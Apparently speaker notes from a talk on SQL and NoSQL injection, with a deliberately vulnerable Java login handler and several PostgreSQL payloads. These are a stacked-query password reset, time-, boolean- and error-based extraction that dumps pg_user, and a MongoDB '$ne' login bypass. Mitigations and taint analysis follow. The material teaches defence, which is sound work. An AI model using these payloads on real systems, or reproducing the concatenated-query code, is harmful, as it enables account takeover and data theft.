The core idea behind injection vulnerabilities (SQLi, NoSQLi, OS cmd, etc.)
user input -> event -> function1 -> function2
\ ^ ^vuln^
\__________________/
sidenote: event sources
- Storage events
- DB events
- Kinesis events
- API calls
- Message queues
- Emails, push, SMS, etc
sidenote: file uploads
- file names
- processing files
- storing files
SQLi
simple:
try {
Class.forName(driver).newInstance();
conn = DriverManager.getConnection(url + dbName, userName, password);
System.out.println("Connected to the database");
Statement st = conn.createStatement();
String query = "SELECT * FROM User where userid='"
+ user + "'";
not simple:
- hunting down every unparametrized request
- making sure parametrization is correctly implemented
- making sure it is not possible to modify the SQLR by tampering with JSON data
- searching for second-order SQLi
- making sure no functions that directly work with SQL are exposed to users
Postgres SQLi demo
- stacked queries almost always used
- all usual SQLi exfiltration channels available
pg_read_file
,COPY ... TO ...
, and even RCE sometimes- quote filters can be bypassed with
CHR
or$
Simple live SQLi exploitation
Data flow
from curl to PostgreSQL
"{\"username\":\"rick'; update users set password=md5('password') where username = 'rick' --\", \"password\":\"foo\"}" # cURL payload
{"username":"rick'; update users set password=md5('password') where username = 'rick' --", "password":"foo"} # decoded data
select * from users where username = 'rick'; update users set password=md5('password') where username = 'rick' -- ' limit 1 # database SQL
Vulnerable code example
LoginController.java:
... snip ...
@RequestMapping(value = "/login", method = RequestMethod.POST, produces = "application/json", consumes = "application/json")
LoginResponse login(@RequestBody LoginRequest input) {
User user = User.fetch(input.username);
... snip ...
User.java:
public static User fetch(String un) {
Statement stmt = null;
User user = null;
try {
... snip ...
String query = "select * from users where username = '" + un + "' limit 1";
ResultSet rs = stmt.executeQuery(query);
... snip ...
Other exfiltration channels
time-based:
select case when substring(column,1,1)='1' then pg_sleep(5) else pg_sleep(0) end from column_name limit 1
boolean-based:
' and substr(version(),1,10) = 'PostgreSQL' and '1
' and substr(version(),1,10) = 'PostgreXXX' and '1
error-based:
,(CASE WHEN ((SELECT CAST(CHR(32)||(SELECT query_to_xml('select * from pg_user',true,true,'')) AS NUMERIC)='1')) THEN name ELSE note END)
ERROR: invalid input syntax for type numeric: " <row xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<usename>postgres</usename>
<usesysid>10</usesysid>
<usecreatedb>true</usecreatedb>
<usesuper>true</usesuper>
<userepl>true</userepl>
<usebypassrls>true</usebypassrls>
<passwd>********</passwd>
<valuntil xsi:nil="true"/>
<useconfig xsi:nil="true"/>
</row>
... snip ...
Mitigations
- input validation
- surprisingly, code scanning may help here
- ORMs/connectors that do not allow you to perform direct requests
- not using direct requests at all (i.e. debug) in exposed environments
sidenote: data flow/taint analysis
- tracking untrusted user input
- sources and sinks
- reviewing everything it touches
json_req -> function1 -> function2 -> function3
^vuln^
NoSQLi
similar mechanisms, different techniques
- JSON-based (e.g. Mongo)
{"username": {"$ne": null}, "password": {"$ne": null}}
- Input-based
db.injection.insert({success:1});
Mitigations
- request structure validation
- user input validation
- ORMs